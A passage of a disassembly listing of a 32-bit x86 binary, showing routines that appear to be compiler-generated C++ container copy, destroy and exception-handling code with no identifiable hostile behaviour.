sub_406C09+6j and dword ptr [edi+4], 0 and dword ptr [edi+8], 0 and dword ptr [edi+0Ch], 0 pop esi retn sub_406C09 endp ; =============== S U B R O U T I N E ======================================= sub_406C3B proc near ; CODE XREF: sub_40681C+1Bp mov eax, offset loc_41B3F0 call sub_41AE44 sub esp, 0Ch mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_406C58: ; CODE XREF: sub_406C3B+35j cmp dword ptr [ebp+0Ch], 0 jbe short loc_406C8D push dword ptr [ebp+8] mov ecx, [ebp+10h] call sub_406F12 dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 74h jmp short loc_406C58 ; --------------------------------------------------------------------------- loc_406C72: ; DATA XREF: .vty:00420F5Co mov edi, [ebp-14h] jmp short loc_406C7F ; --------------------------------------------------------------------------- loc_406C77: ; CODE XREF: sub_406C3B+47j call sub_405989 add edi, 74h loc_406C7F: ; CODE XREF: sub_406C3B+3Aj cmp edi, [ebp+8] jnz short loc_406C77 push 0 push 0 call sub_4107BC loc_406C8D: ; CODE XREF: sub_406C3B+21j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_406C3B endp ; =============== S U B R O U T I N E ======================================= sub_406C9C proc near ; CODE XREF: sub_405FB0+1C7p ; sub_405FB0+231p ... push ecx push ebx push edi mov edi, eax mov ebx, edi mov eax, esi call sub_406D1A lea ebx, [edi+10h] lea eax, [esi+10h] call sub_406E16 push 0FFFFFFFFh xor ebx, ebx push ebx lea eax, [edi+20h] push eax lea ecx, [esi+20h] call sub_401315 push 0FFFFFFFFh push ebx lea eax, [edi+3Ch] push eax lea ecx, [esi+3Ch] call sub_401315 push 0FFFFFFFFh push ebx add edi, 58h push edi lea ecx, [esi+58h] call sub_401315 pop edi mov eax, esi pop ebx pop ecx retn sub_406C9C endp ; =============== S U B R O U T I N E ======================================= sub_406CEA proc near ; CODE XREF: sub_407454+5Ap ; sub_40BDCD+C0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h push ecx push esi push edi push [esp+0Ch+arg_4] mov edi, [esp+10h+arg_C] push dword ptr [edi+4] push edi call sub_406F3C mov ecx, [esp+0Ch+arg_0] xor edx, edx inc edx mov esi, eax call sub_405EBC mov [edi+4], esi mov eax, [esi+4] pop edi mov [eax], esi pop esi pop ecx retn 10h sub_406CEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D1A proc near ; CODE XREF: sub_406C9C+9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, eax cmp esi, ebx push edi jz loc_406E10 mov eax, ebx call sub_40690A test eax, eax jnz short loc_406D40 call sub_406FAF jmp loc_406E10 ; --------------------------------------------------------------------------- loc_406D40: ; CODE XREF: sub_406D1A+1Aj mov eax, ebx call sub_40690A mov edi, eax mov eax, esi call sub_40690A cmp edi, eax ja short loc_406D7E push dword ptr [esi+4] mov eax, [ebx+4] push dword ptr [ebx+8] call sub_4071B0 pop ecx pop ecx push dword ptr [esi+8] call sub_406737 mov eax, ebx call sub_40690A imul eax, 38h add eax, [esi+4] jmp loc_406E0D ; --------------------------------------------------------------------------- loc_406D7E: ; CODE XREF: sub_406D1A+38j mov edi, [esi+4] test edi, edi jnz short loc_406D8A and [ebp+var_4], edi jmp short loc_406D98 ; --------------------------------------------------------------------------- loc_406D8A: ; CODE XREF: sub_406D1A+69j mov eax, [esi+0Ch] sub eax, edi push 38h cdq pop ecx idiv ecx mov [ebp+var_4], eax loc_406D98: ; CODE XREF: sub_406D1A+6Ej mov eax, ebx call sub_40690A cmp eax, [ebp+var_4] ja short loc_406DC7 mov eax, esi call sub_40690A push dword ptr [esi+4] mov edi, eax mov eax, [ebx+4] imul edi, 38h add edi, eax push edi call sub_4071B0 pop ecx pop ecx push dword ptr [esi+8] mov ecx, edi jmp short loc_406E05 ; --------------------------------------------------------------------------- loc_406DC7: ; CODE XREF: sub_406D1A+88j test edi, edi jz short loc_406DDE push dword ptr [esi+8] mov eax, edi call sub_406737 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_406DDE: ; CODE XREF: sub_406D1A+AFj mov eax, ebx call sub_40690A xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_406E10 mov edi, esi call sub_406920 test al, al jz short loc_406E10 push dword ptr [esi+4] mov ecx, [ebx+4] loc_406E05: ; CODE XREF: sub_406D1A+ABj push dword ptr [ebx+8] call sub_4071F6 loc_406E0D: ; CODE XREF: sub_406D1A+5Fj mov [esi+8], eax loc_406E10: ; CODE XREF: sub_406D1A+Bj ; sub_406D1A+21j ... pop edi mov eax, esi pop esi leave retn sub_406D1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E16 proc near ; CODE XREF: sub_406C9C+14p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, eax cmp esi, ebx push edi jz loc_406F0C mov eax, ebx call sub_406949 test eax, eax jnz short loc_406E3C call sub_406FEC jmp loc_406F0C ; --------------------------------------------------------------------------- loc_406E3C: ; CODE XREF: sub_406E16+1Aj mov eax, ebx call sub_406949 mov edi, eax mov eax, esi call sub_406949 cmp edi, eax ja short loc_406E7A push dword ptr [esi+4] mov eax, [ebx+4] push dword ptr [ebx+8] call sub_40721A pop ecx pop ecx push dword ptr [esi+8] call sub_4067F1 mov eax, ebx call sub_406949 imul eax, 2Ch add eax, [esi+4] jmp loc_406F09 ; --------------------------------------------------------------------------- loc_406E7A: ; CODE XREF: sub_406E16+38j mov edi, [esi+4] test edi, edi jnz short loc_406E86 and [ebp+var_4], edi jmp short loc_406E94 ; --------------------------------------------------------------------------- loc_406E86: ; CODE XREF: sub_406E16+69j mov eax, [esi+0Ch] sub eax, edi push 2Ch cdq pop ecx idiv ecx mov [ebp+var_4], eax loc_406E94: ; CODE XREF: sub_406E16+6Ej mov eax, ebx call sub_406949 cmp eax, [ebp+var_4] ja short loc_406EC3 mov eax, esi call sub_406949 push dword ptr [esi+4] mov edi, eax mov eax, [ebx+4] imul edi, 2Ch add edi, eax push edi call sub_40721A pop ecx pop ecx push dword ptr [esi+8] mov ecx, edi jmp short loc_406F01 ; --------------------------------------------------------------------------- loc_406EC3: ; CODE XREF: sub_406E16+88j test edi, edi jz short loc_406EDA push dword ptr [esi+8] mov eax, edi call sub_4067F1 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_406EDA: ; CODE XREF: sub_406E16+AFj mov eax, ebx call sub_406949 xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_406F0C mov edi, esi call sub_40695F test al, al jz short loc_406F0C push dword ptr [esi+4] mov ecx, [ebx+4] loc_406F01: ; CODE XREF: sub_406E16+ABj push dword ptr [ebx+8] call sub_40B203 loc_406F09: ; CODE XREF: sub_406E16+5Fj mov [esi+8], eax loc_406F0C: ; CODE XREF: sub_406E16+Bj ; sub_406E16+21j ... pop edi mov eax, esi pop esi leave retn sub_406E16 endp ; =============== S U B R O U T I N E ======================================= sub_406F12 proc near ; CODE XREF: sub_406C3B+29p ; sub_40765F+28p mov eax, offset loc_41B3E6 call sub_41AE44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp+8], 0 jz short loc_406F2E push dword ptr [ebp+8] call sub_4065C8 loc_406F2E: ; CODE XREF: sub_406F12+12j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_406F12 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406F3C proc near ; CODE XREF: sub_406CEA+Fp mov eax, offset loc_41AFF3 call sub_41AE44 sub esp, 0Ch push ebx push esi push edi mov [ebp-10h], esp push 40h call sub_40DE68 and dword ptr [ebp-4], 0 mov esi, eax test esi, esi pop ecx mov [ebp-14h], esi jz short loc_406F69 mov eax, [ebp+8] mov [esi], eax loc_406F69: ; CODE XREF: sub_406F3C+26j lea eax, [esi+4] test eax, eax jz short loc_406F75 mov ecx, [ebp+0Ch] mov [eax], ecx loc_406F75: ; CODE XREF: sub_406F3C+32j lea eax, [esi+8] test eax, eax mov byte ptr [ebp-4], 1 jz short loc_406F89 mov edi, [ebp+10h] push eax call sub_407260 loc_406F89: ; CODE XREF: sub_406F3C+42j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_406F3C endp ; =============== S U B R O U T I N E ======================================= sub_406F9C proc near ; DATA XREF: .vty:00420528o push dword ptr [ebp-14h] call sub_40DD8A pop ecx push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_406F9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406FAF proc near ; CODE XREF: sub_406D1A+1Cp ; sub_4081BF+42p push ebx mov ebx, [esi+8] cmp [esi+4], ebx push edi jbe short loc_406FBE call sub_40DCFC loc_406FBE: ; CODE XREF: sub_406FAF+8j mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_406FCB call sub_40DCFC loc_406FCB: ; CODE XREF: sub_406FAF+15j cmp edi, ebx jz short loc_406FE9 push edi push dword ptr [esi+8] mov eax, ebx call sub_4071B0 pop ecx pop ecx push dword ptr [esi+8] mov edi, eax call sub_406737 mov [esi+8], edi loc_406FE9: ; CODE XREF: sub_406FAF+1Ej pop edi pop ebx retn sub_406FAF endp ; =============== S U B R O U T I N E ======================================= sub_406FEC proc near ; CODE XREF: sub_406E16+1Cp ; sub_4081BF+4Dp push ecx push ebx mov ebx, [esi+8] cmp [esi+4], ebx push edi jbe short loc_406FFC call sub_40DCFC loc_406FFC: ; CODE XREF: sub_406FEC+9j mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_407009 call sub_40DCFC loc_407009: ; CODE XREF: sub_406FEC+16j cmp edi, ebx jz short loc_407027 push edi push dword ptr [esi+8] mov eax, ebx call sub_40721A pop ecx pop ecx push dword ptr [esi+8] mov edi, eax call sub_4067F1 mov [esi+8], edi loc_407027: ; CODE XREF: sub_406FEC+1Fj pop edi pop ebx pop ecx retn sub_406FEC endp ; =============== S U B R O U T I N E ======================================= sub_40702B proc near ; CODE XREF: sub_406A1C+1Cp ; sub_40C844+199p mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_407072 test eax, eax jnz short loc_40703B call sub_40DCFC loc_40703B: ; CODE XREF: sub_40702B+9j mov eax, [esi] cmp dword ptr [eax+18h], 10h jb short loc_407048 mov ecx, [eax+4] jmp short loc_40704B ; --------------------------------------------------------------------------- loc_407048: ; CODE XREF: sub_40702B+16j lea ecx, [eax+4] loc_40704B: ; CODE XREF: sub_40702B+1Bj mov edx, [esi+4] push ebx mov ebx, [eax+14h] add ebx, ecx add edx, edi cmp edx, ebx pop ebx ja short loc_40706D cmp dword ptr [eax+18h], 10h jb short loc_407066 mov eax, [eax+4] jmp short loc_407069 ; --------------------------------------------------------------------------- loc_407066: ; CODE XREF: sub_40702B+34j add eax, 4 loc_407069: ; CODE XREF: sub_40702B+39j cmp edx, eax jnb short loc_407072 loc_40706D: ; CODE XREF: sub_40702B+2Ej call sub_40DCFC loc_407072: ; CODE XREF: sub_40702B+5j ; sub_40702B+40j add [esi+4], edi mov eax, esi retn sub_40702B endp ; =============== S U B R O U T I N E ======================================= sub_407078 proc near ; CODE XREF: sub_406ACD+17p ; sub_4075BC+73p mov eax, offset loc_41AF05 call sub_41AE44 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov esi, ecx mov [ebp-14h], eax loc_407096: ; CODE XREF: sub_407078+33j cmp esi, [ebp+8] jz short loc_4070CC mov ecx, [ebp+0Ch] push esi call sub_407365 add dword ptr [ebp+0Ch], 1Ch add esi, 1Ch jmp short loc_407096 ; --------------------------------------------------------------------------- loc_4070AD: ; DATA XREF: .vty:00420164o mov esi, [ebp-14h] jmp short loc_4070BE ; --------------------------------------------------------------------------- loc_4070B2: ; CODE XREF: sub_407078+4Bj push 1 mov ecx, esi call sub_4013C4 add esi, 1Ch loc_4070BE: ; CODE XREF: sub_407078+38j cmp esi, [ebp+0Ch] push 0 jnz short loc_4070B2 push 0 call sub_4107BC loc_4070CC: ; CODE XREF: sub_407078+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_407078 endp ; =============== S U B R O U T I N E ======================================= sub_4070DE proc near ; CODE XREF: sub_406694+73p ; sub_4071F6+17p mov eax, offset loc_41AEFB call sub_41AE44 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov esi, ecx mov [ebp-14h], eax loc_4070FC: ; CODE XREF: sub_4070DE+34j cmp esi, [ebp+8] jz short loc_40712F push dword ptr [ebp+0Ch] mov ecx, esi call sub_40738D add dword ptr [ebp+0Ch], 38h add esi, 38h jmp short loc_4070FC ; --------------------------------------------------------------------------- loc_407114: ; DATA XREF: .vty:0042010Co mov esi, [ebp-14h] jmp short loc_407121 ; --------------------------------------------------------------------------- loc_407119: ; CODE XREF: sub_4070DE+46j call sub_4072AA add esi, 38h loc_407121: ; CODE XREF: sub_4070DE+39j cmp esi, [ebp+0Ch] jnz short loc_407119 push 0 push 0 call sub_4107BC loc_40712F: ; CODE XREF: sub_4070DE+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_4070DE endp ; =============== S U B R O U T I N E ======================================= sub_407141 proc near ; CODE XREF: sub_40674E+73p ; sub_40B203+17p mov eax, offset loc_41B211 call sub_41AE44 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov edi, ecx mov [ebp-14h], eax loc_40715F: ; CODE XREF: sub_407141+32j cmp edi, [ebp+8] jz short loc_40719E push dword ptr [ebp+0Ch] call sub_4073B7 add dword ptr [ebp+0Ch], 2Ch add edi, 2Ch jmp short loc_40715F ; --------------------------------------------------------------------------- loc_407175: ; DATA XREF: .vty:00420B04o mov edi, [ebp-14h] jmp short loc_407190 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407141+52j lea esi, [edi+1Ch] call sub_405AAC push 0 push 1 mov ecx, edi call sub_4013C4 add edi, 2Ch loc_407190: ; CODE XREF: sub_407141+37j cmp edi, [ebp+0Ch] jnz short loc_40717A push 0 push 0 call sub_4107BC loc_40719E: ; CODE XREF: sub_407141+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_407141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071B0 proc near ; CODE XREF: sub_406D1A+43p ; sub_406D1A+9Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax mov eax, [ebp+arg_0] push edi sub eax, ebx push 38h cdq pop ecx idiv ecx mov edi, eax imul edi, 38h add edi, [ebp+arg_4] cmp ebx, [ebp+arg_0] jz short loc_4071F0 mov eax, [ebp+arg_4] sub eax, ebx push esi mov [ebp+arg_4], eax jmp short loc_4071DD ; --------------------------------------------------------------------------- loc_4071DA: ; CODE XREF: sub_4071B0+3Dj mov eax, [ebp+arg_4] loc_4071DD: ; CODE XREF: sub_4071B0+28j lea esi, [eax+ebx] mov eax, ebx call sub_4076C2 add ebx, 38h cmp ebx, [ebp+arg_0] jnz short loc_4071DA pop esi loc_4071F0: ; CODE XREF: sub_4071B0+1Dj mov eax, edi pop edi pop ebx pop ebp retn sub_4071B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071F6 proc near ; CODE XREF: sub_406D1A+EEp ; sub_409E2A+A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_4070DE add esp, 10h pop edi leave retn 8 sub_4071F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40721A proc near ; CODE XREF: sub_406E16+43p ; sub_406E16+9Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, eax mov eax, [ebp+arg_0] sub eax, edi push 2Ch cdq pop ecx idiv ecx mov ebx, eax imul ebx, 2Ch add ebx, [ebp+arg_4] cmp edi, [ebp+arg_0] jz short loc_407258 mov eax, [ebp+arg_4] sub eax, edi mov [ebp+arg_4], eax jmp short loc_407248 ; --------------------------------------------------------------------------- loc_407245: ; CODE XREF: sub_40721A+3Cj mov eax, [ebp+arg_4] loc_407248: ; CODE XREF: sub_40721A+29j lea esi, [eax+edi] call sub_4076E5 add edi, 2Ch cmp edi, [ebp+arg_0] jnz short loc_407245 loc_407258: ; CODE XREF: sub_40721A+1Fj pop edi pop esi mov eax, ebx pop ebx pop ecx pop ebp retn sub_40721A endp ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_406F3C+48p mov eax, offset loc_41AEF1 call sub_41AE44 push ecx push esi mov esi, [ebp+8] push edi mov ecx, esi call sub_401C1E and dword ptr [ebp-4], 0 lea eax, [esi+1Ch] lea ecx, [edi+1Ch] push eax call sub_4072C2 mov eax, [edi+2Ch] mov ecx, [ebp-0Ch] mov [esi+2Ch], eax mov eax, [edi+30h] mov [esi+30h], eax mov eax, [edi+34h] mov [esi+34h], eax mov eax, esi mov large fs:0, ecx pop esi leave retn 4 sub_407260 endp ; =============== S U B R O U T I N E ======================================= sub_4072AA proc near ; CODE XREF: sub_406737:loc_40673Cp ; sub_4070DE:loc_407119p ... push 0 push 1 lea ecx, [esi+1Ch] call sub_4013C4 push 0 push 1 mov ecx, esi call sub_4013C4 retn sub_4072AA endp ; =============== S U B R O U T I N E ======================================= sub_4072C2 proc near ; CODE XREF: sub_407260+22p mov eax, offset loc_41AFE4 call sub_41AE44 sub esp, 14h push ebx push esi mov esi, [ebp+8] mov ebx, ecx push edi mov eax, ebx mov [ebp-10h], esp call sub_405555 xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_407340 mov edi, esi call sub_4073E1 test al, al jz short loc_407340 and dword ptr [ebp-4], 0 mov eax, [ebx+8] cmp [ebx+4], eax mov [ebp-18h], eax jbe short loc_40730F call sub_40DCFC loc_40730F: ; CODE XREF: sub_4072C2+46j mov eax, [ebx+4] cmp eax, [ebx+8] mov [ebp-1Ch], eax jbe short loc_40731F call sub_40DCFC loc_40731F: ; CODE XREF: sub_4072C2+56j mov ecx, [esi+4] xor eax, eax lea edi, [ebp-14h] stosb push dword ptr [ebp-14h] push dword ptr [ebp+8] push ecx push dword ptr [ebp-18h] mov ecx, [ebp-1Ch] call sub_40CB4B add esp, 10h mov [esi+8], eax loc_407340: ; CODE XREF: sub_4072C2+2Cj ; sub_4072C2+37j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4072C2 endp ; =============== S U B R O U T I N E ======================================= sub_407353 proc near ; DATA XREF: .vty:004204C8o mov edi, [ebp+8] call sub_406C09 push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_407353 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407365 proc near ; CODE XREF: sub_407078+27p ; sub_40B35E+28p ... mov eax, offset loc_41B3E6 call sub_41AE44 and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_40737F push dword ptr [ebp+8] call sub_401C1E loc_40737F: ; CODE XREF: sub_407365+10j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_407365 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40738D proc near ; CODE XREF: sub_4070DE+28p ; sub_40B28F+28p mov eax, offset loc_41B3E6 call sub_41AE44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp+8], 0 jz short loc_4073A9 push dword ptr [ebp+8] call sub_407525 loc_4073A9: ; CODE XREF: sub_40738D+12j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_40738D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4073B7 proc near ; CODE XREF: sub_407141+26p ; sub_40B2EF+29p mov eax, offset loc_41B3E6 call sub_41AE44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp+8], 0 jz short loc_4073D3 push dword ptr [ebp+8] call sub_407560 loc_4073D3: ; CODE XREF: sub_4073B7+12j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_4073B7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4073E1 proc near ; CODE XREF: sub_4072C2+30p push esi mov esi, eax cmp esi, 2C8590Bh jbe short loc_4073F1 jmp sub_40684D ; --------------------------------------------------------------------------- loc_4073F1: ; CODE XREF: sub_4073E1+9j mov ecx, esi call sub_40740A imul esi, 5Ch add esi, eax mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], esi mov al, 1 pop esi retn sub_4073E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40740A proc near ; CODE XREF: sub_4073E1+12p ; sub_40C3E5+9Ap var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_407422 xor ecx, ecx loc_407416: ; CODE XREF: sub_40740A+22j imul ecx, 5Ch push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_407422: ; CODE XREF: sub_40740A+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 5Ch jnb short loc_407416 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_40740A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407454 proc near ; CODE XREF: sub_403151+CEp mov eax, offset loc_41B3D7 call sub_41AE44 sub esp, 18h push ebx push esi mov esi, [ebp+1Ch] push edi mov edi, [ebp+18h] and dword ptr [ebp-4], 0 mov [ebp-10h], esp mov [ebp-1Ch], edi mov [ebp-18h], esi loc_407477: ; CODE XREF: sub_407454+6Dj test edi, edi jz short loc_407480 cmp edi, [ebp+20h] jz short loc_407485 loc_407480: ; CODE XREF: sub_407454+25j call sub_40DCFC loc_407485: ; CODE XREF: sub_407454+2Aj cmp esi, [ebp+24h] jz loc_407514 test edi, edi jnz short loc_407497 call sub_40DCFC loc_407497: ; CODE XREF: sub_407454+3Cj cmp esi, [edi+4] jnz short loc_4074A1 call sub_40DCFC loc_4074A1: ; CODE XREF: sub_407454+46j push dword ptr [ebp+14h] add esi, 8 push dword ptr [ebp+10h] push esi push dword ptr [ebp+8] call sub_406CEA lea esi, [ebp+18h] call sub_405D8F mov esi, [ebp+1Ch] mov edi, [ebp+18h] jmp short loc_407477 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407454+B5j mov eax, [ebp-1Ch] test eax, eax jz short loc_4074CF cmp eax, [ebp+18h] jz short loc_4074D4 loc_4074CF: ; CODE XREF: sub_407454+74j call sub_40DCFC loc_4074D4: ; CODE XREF: sub_407454+79j mov eax, [ebp-18h] cmp eax, [ebp+1Ch] jz short loc_40750B mov eax, [ebp+10h] mov [ebp+20h], eax mov eax, [ebp+14h] lea esi, [ebp+20h] mov [ebp+24h], eax call sub_405967 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp-24h] push eax push dword ptr [ebp+8] call sub_406631 lea esi, [ebp-1Ch] call sub_405D8F jmp short loc_4074C3 ; --------------------------------------------------------------------------- loc_40750B: ; CODE XREF: sub_407454+86j push 0 push 0 call sub_4107BC loc_407514: ; CODE XREF: sub_407454+34j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 20h sub_407454 endp ; =============== S U B R O U T I N E ======================================= sub_407525 proc near ; CODE XREF: sub_40738D+17p ; sub_409E2A+1Ap mov eax, offset loc_41AEF1 call sub_41AE44 push esi mov esi, [ebp+8] push edi mov edi, ecx push edi mov ecx, esi call sub_401C1E and dword ptr [ebp-4], 0 add edi, 1Ch push edi lea ecx, [esi+1Ch] call sub_401C1E mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_407525 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407560 proc near ; CODE XREF: sub_4073B7+17p ; sub_40A022+1Cp mov eax, offset loc_41AEF1 call sub_41AE44 push ecx push esi mov esi, [ebp+8] push edi mov ecx, esi call sub_401C1E and dword ptr [ebp-4], 0 lea eax, [esi+1Ch] lea ecx, [edi+1Ch] push eax call sub_4075BC mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 4 sub_407560 endp ; =============== S U B R O U T I N E ======================================= sub_407598 proc near ; CODE XREF: sub_406C09:loc_406C17p ; sub_40BDCD+19Cp ... push 0 push 1 lea ecx, [esi+38h] call sub_4013C4 push 0 push 1 lea ecx, [esi+1Ch] call sub_4013C4 push 0 push 1 mov ecx, esi call sub_4013C4 retn sub_407598 endp ; =============== S U B R O U T I N E ======================================= sub_4075BC proc near ; CODE XREF: sub_407560+22p ; sub_4081BF+29Bp ... mov eax, offset loc_41B207 call sub_41AE44 sub esp, 14h push ebx push esi mov esi, [ebp+8] mov ebx, ecx push edi mov eax, ebx mov [ebp-10h], esp call sub_4057B6 xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_40763A mov edi, esi call sub_405A66 test al, al jz short loc_40763A and dword ptr [ebp-4], 0 mov eax, [ebx+8] cmp [ebx+4], eax mov [ebp-18h], eax jbe short loc_407609 call sub_40DCFC loc_407609: ; CODE XREF: sub_4075BC+46j mov eax, [ebx+4] cmp eax, [ebx+8] mov [ebp-1Ch], eax jbe short loc_407619 call sub_40DCFC loc_407619: ; CODE XREF: sub_4075BC+56j mov ecx, [esi+4] xor eax, eax lea edi, [ebp-14h] stosb push dword ptr [ebp-14h] push dword ptr [ebp+8] push ecx push dword ptr [ebp-18h] mov ecx, [ebp-1Ch] call sub_407078 add esp, 10h mov [esi+8], eax loc_40763A: ; CODE XREF: sub_4075BC+2Cj ; sub_4075BC+37j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4075BC endp ; =============== S U B R O U T I N E ======================================= sub_40764D proc near ; DATA XREF: .vty:00420AACo mov esi, [ebp+8] call sub_405AAC push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_40764D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40765F proc near ; CODE XREF: sub_406B60+17p mov eax, offset loc_41B5AC call sub_41AE44 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov esi, ecx mov [ebp-14h], eax loc_40767D: ; CODE XREF: sub_40765F+34j cmp esi, [ebp+8] jz short loc_4076B0 push dword ptr [ebp+0Ch] mov ecx, esi call sub_406F12 add dword ptr [ebp+0Ch], 74h add esi, 74h jmp short loc_40767D ; --------------------------------------------------------------------------- loc_407695: ; DATA XREF: .vty:004212ACo mov edi, [ebp-14h] jmp short loc_4076A2 ; --------------------------------------------------------------------------- loc_40769A: ; CODE XREF: sub_40765F+46j call sub_405989 add edi, 74h loc_4076A2: ; CODE XREF: sub_40765F+39j cmp edi, [ebp+0Ch] jnz short loc_40769A push 0 push 0 call sub_4107BC loc_4076B0: ; CODE XREF: sub_40765F+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40765F endp ; =============== S U B R O U T I N E ======================================= sub_4076C2 proc near ; CODE XREF: sub_4071B0+32p ; sub_409E2A+173p ... push edi push 0FFFFFFFFh mov edi, eax push 0 push edi mov ecx, esi call sub_401315 push 0FFFFFFFFh push 0 add edi, 1Ch push edi lea ecx, [esi+1Ch] call sub_401315 mov eax, esi pop edi retn sub_4076C2 endp ; =============== S U B R O U T I N E ======================================= sub_4076E5 proc near ; CODE XREF: sub_40721A+31p ; sub_40B227+32p push ebx push 0FFFFFFFFh push 0 push edi mov ecx, esi call sub_401315 lea ebx, [edi+1Ch] lea eax, [esi+1Ch] call sub_4056BC mov eax, esi pop ebx retn sub_4076E5 endp ; =============== S U B R O U T I N E ======================================= sub_407701 proc near ; CODE XREF: sub_40CA70+28p ; sub_40CB4B+26p mov eax, offset loc_41B3E6 call sub_41AE44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp+8], 0 jz short loc_40771D push dword ptr [ebp+8] call sub_40772B loc_40771D: ; CODE XREF: sub_407701+12j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_407701 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40772B proc near ; CODE XREF: sub_407701+17p ; sub_40C3E5+1Cp mov eax, offset loc_41AEDF call sub_41AE44 push esi mov esi, [ebp+8] push edi mov ecx, esi call sub_401C1E and dword ptr [ebp-4], 0 lea eax, [edi+1Ch] push eax lea ecx, [esi+1Ch] call sub_401C1E lea eax, [edi+38h] push eax lea ecx, [esi+38h] mov byte ptr [ebp-4], 1 call sub_401C1E mov eax, [edi+54h] mov 